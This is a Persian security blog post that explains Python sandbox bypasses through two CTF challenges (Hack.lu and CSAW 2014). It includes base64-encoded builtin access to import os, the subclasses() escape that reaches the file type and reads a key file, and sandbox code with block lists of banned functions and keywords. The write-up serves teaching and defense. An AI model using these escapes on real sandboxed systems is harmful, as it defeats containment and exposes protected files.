Geek

روز نوشت هایی در مورد امنیت

Geek

روز نوشت هایی در مورد امنیت

پیوندهای روزانه

bypass کردن سندباکس های مبتنی بر پایتون

دوشنبه, ۳۱ شهریور ۱۳۹۳، ۱۱:۳۸ ب.ظ

اصولا بایپس کردن سندباکس به این معنی هست که خارج از محدوده تعریف شده قادر به انجام عملیات و یا اجرای دستور نباشیم . زمانی که صحبت از بایپس سندباکس های پایتون میکنیم به این معناست که تعدادی از توابع و روال ها و دستورات غیرفعال شده اند و استفاده از آنها عملا غیرقابل استفاده می شود اما اگر موفق به اجرای کامندها به نحو دیگری شویم آنگاه سندباکس تعریف شده را بایپس کرده ایم. یک نمونه ساده از سندباکس های مبتنی بر پایتون به این صورت است که ورودی ها را برای توابع و دستورات خطرناک مانند eval چک کنیم و در صورت وجود آنها را نادیده بگیریم . این روش توسط encode کردن دستورات قابل bypass است. برای کسب اطلاعات بیشتر به این لینک مراجعه کنید. اصولا در تمام سیستم هایی که به دنبال رشته های خاص برای بلک لیست میگردند این مشکل وجود دارد. به عنوان مثال در IDS ها نیز زمانی که به دنبال رشته ای خاصی میگردند اگر به صورت Encode شده باشد آنگاه قابل شناسایی نخواهد بود که البته این مشکل با وجود decoder های تعبیه شده در IDS ها برطرف شده است.( در Snort این عمل به عهده preprocessor ها است )
با توجه به توضیحات بالا نیاز به راه حل بهتری داریم.2 تابع مهم که در فهم بهتر اشیای پایتون به ما کمک میکنند توابع dir() و type() در پایتون هستند. حال بیاید آنها را اجرا و نتیجه را ببینیم.



>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']

با اجرای آن بدون آرگومان ، لیست نام های تعریف شده در حوزه جاری نشان داده می شود. حال با استفاده از تابع type() میتوانیم نوع این اشیا را دریابیم.به عنوان مثال :

>>> type(__builtins__)
<type 'module'>

بسیار خب ، همان طور که دیدیم یک شی به نام __builtins__  داریم که از نوع ماژول است و طبیعتا شامل متدهایی است.بیایید با همدیگر متدهای آن را ببینیم. همان طور که قبلا گفته شد اگر از تابع dir به همراه یک آرگومان استفاده کنیم ، متدهای آن شی را نمایش خواهد داد. پس :

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'Buffer
Error', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'Environme
ntError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'Generato
rExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexErr
or', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError',
 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'P
endingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', '
StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDeco
deError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'Unicod
eWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivision
Error', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'a
bs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray',
'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex'
, 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval
', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getatt
r', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern',
 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long',
 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow
', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr'
, 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str
', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip'
]
>>>

برای دسترسی به متدهای آن میتوان به صورت زیر عمل کرد :

>>> __builtins__.__dict__['x']
 که X نام متد است که در بالا لیست شده است.حال فرض کنید در داخل سندباکس ، توابع import و ماژول os چک می شوند تا از load آنها جلوگیری شود.  به کدهای زیر دقت کنید.

>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='


حال به راحتی میتوانیم  به صورت زیر ماژول OS را به صورت زیر لود کنیم.

>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
<module 'os' from '/usr/lib/python2.7/os.pyc'>

پس باز هم نیاز به روش دیگری داریم که به صورت کلی دسترسی به توابع را قطع کنیم به جای اینکه وجود رشته خاص را چک کنیم. از آنجایی که متدهای __builtins__  به صورت دیکشنری پیاده سازی شده اند پس میتوانیم به ایندکس های آن دسترسی داشته و آنها را حذف کنیم. به عنوان مثال در لیست متدهای ذکر شده در بالا تابع abs هم وجود دارد که قدر مطلق یک عدد را حساب میکند. امتحان میکنیم که آیا میتوانیم این تابع را از لیست متدها حذف کنیم یا خیر .در حالت عادی نتیجه به صورت زیر است:

>>> abs(-1)
1
و زمانی که متد abs را از دیکشنری حذف کنیم .

>>> __builtins__.__dict__['abs'] = None

و آنگاه تابع را اجرا کنیم مشاهده خواهیم کرد که تابع وجود ندارد.

>>> abs(-1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable

با استفاده از  del هم میتوانیم متدها را حذف کنیم. به صورت زیر :

>>> del __builtins__.__dict__['abs']
>>> abs(-1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'abs' is not defined

تا اینجای کار تنها تابع abs را برای سندباکسمان از کار انداختیم . اما نیاز داریم تا توابع خطرساز و خطرناک را حذف کنیم. میتوانیم به صورت دستی و یکی یکی متدهای مورد نظر را حذف کنیم . مانند زیر :

>>> del __builtins__.__dict__['__import__'] 
>>> del __builtins__.__dict__['eval']

و یا تمام متدها را به یکباره با کد زیر حذف کنیم.

targets = __builtins__.__dict__.keys()
for x in targets:
    del __builtins__.__dict__[x]

البته توجه داشته باشید که توابع print  و raw_input را هم با این روش از دست خواهید داد. که میتوانید آنها را از لیست حذف کرده و سپس دیکشنری را پاک سازی نمایید. کد تکمیل شده به صورت زیر است:

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]


بسیار خب ، حالا شما یک سندباکس ایجاد کرده اید که اجازه اجرای بسیاری از توابع خطرساز داده نمی شود. اما گر دقت کنید exec در میان متدهای بالا وجود ندارد ! اگر این تابع در برنامه وجود داشته باشد آیا میتواند خطرساز باشد ؟ بله ! حالا بیشتر بررسی میکنیم.به یک چلنج بایپس سندباکس های پایتون که در Hacklu CTF طراحی شده بود دقت کنید. در این سندباکس اجرای کامندهای خطرناک ممنوع شده است و هدف مهاجم این است که بتواند از روی سرور یک فایل به نام key را بخواند و حاوی flag است.

def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]

from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'

while True:
try:
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e


در اینجا تکنیک encoding موثر نیست چرا که دسترسی به متد قطع شده است اما شاید بتوان از محل دیگری به آنها دسترسی داشت. اگر بتوانیم به متد file دسترسی پیدا کنیم آنگاه میتوانیم محتوای فایل مورد نظر را بخوانیم . اما چگونه ؟ بیشتر بررسی میکنیم. در بخش های قبلی گفتیم که 2 تابع dir() و type() ابزارهای مناسبی برای شناسایی متدها و نوع آنها هستند. اگر تابع dir() را به صورت زیر به کار ببریم آنگاه توابع خاصی را میتوانیم مشاهده کنیم.

>>> dir( () )
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'count', 'index']

از موارد بالا ، متد  __class__  را بررسی میکنیم.

>>> type(().__class__)
<type 'type'>
طبق مستندات پایتون ، attribute خاصی مربوط به اشیا ، کلاس ، و نمونه ها وجود دارند که از جمله آنها میتوان به __base__   و __subclasses__() : اشاره کرد. که base مربوط به کلاس های پایه و subclasses لیست تمام زیر کلاس ها است .برای کسب اطلاعات بیشتر به اینجا مراجعه کنید . در مجموع اگر توابع و ویژگی های ذکر شده را به صورت زیر به کار ببریم

>>> ().__class__.__bases__[0].__subclasses__()

آنگاه خروجی به صورت زیر خواهیم داشت :


[<type 'weakproxy'>, <type 'int'>, <type 'basestring'>,
<type 'bytearray'>, <type 'list'>, <type 'NoneType'>,
<type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>,
<type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>,
<type 'staticmethod'>, <type 'complex'>, <type 'float'>,
<type 'buffer'>, <type 'long'>, <type 'frozenset'>,
<type 'property'>, <type 'memoryview'>, <type 'tuple'>,
<type 'enumerate'>, <type 'reversed'>, <type 'code'>,
<type 'frame'>, <type 'builtin_function_or_method'>,
.
.
.
<type 'file'>
همان طور که مشاهده میکنید تابع File  از این طریق قابل دسترس خواهد بود ! تنها کافی است تا ایندکس آن را بدست آورید. میتوانید برای انجام این کار از کد زیر استفاده کنید.

>> all_classes = []
>>> for entry in ().__class__.__bases__[0].__subclasses__():
... all_classes.append(entry.__name__)
...
>>> all_classes.index("file")
40

که نتیجه به صورت زیر می شود

>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>


حال برای خواندن یک فایل کافی است نام فایل به عنوان پارامتر به آن ارسال شود. اگر فرض کنیم یک فایل در مسیر جاری به نام test.txt داریم آنگاه به صورت زیر میتوانیم محتوی آن را بخوانیم.

>> ().__class__.__bases__[0].__subclasses__()[40]("Geek.txt ").read()
"Geek I am"

که در چنلج طراحی شده در CTF نام فایل key است که به صورت زیر می توان محتوی فایل را خواند و flag را بدست آورد.

Go Ahead, Expoit me >;D
().__class__.__bases__[0].__subclasses__()[40]("./key").read()
().__class__.__bases__[0].__subclasses__()[40]("./key").read()
Return Value: FvibLF0eBkCBk

در زیر نمونه دیگر از یک سندباکس پایتونی را مشاهده میکنید که در قالب چلنج اکسپلویتینگ در CSAW 2014 مطرح شده بود که روش بایپس کردن آن مشابه مطالب بالاست.

#!/usr/bin/env python 

from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]

targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]

while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
شخصا با اجرای دستورات زیر فلگ را بدست آوردم ولی حتی ساده تر هم میتوان آن را حل کرد.

>>> a = None
>>> a = ().__class__.__bases__[0].__subclasses__()[40]("key.txt").read()
>>> print ('flag is = ',a)
>>> flag is = flag{definitely_not_intro_python}


نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی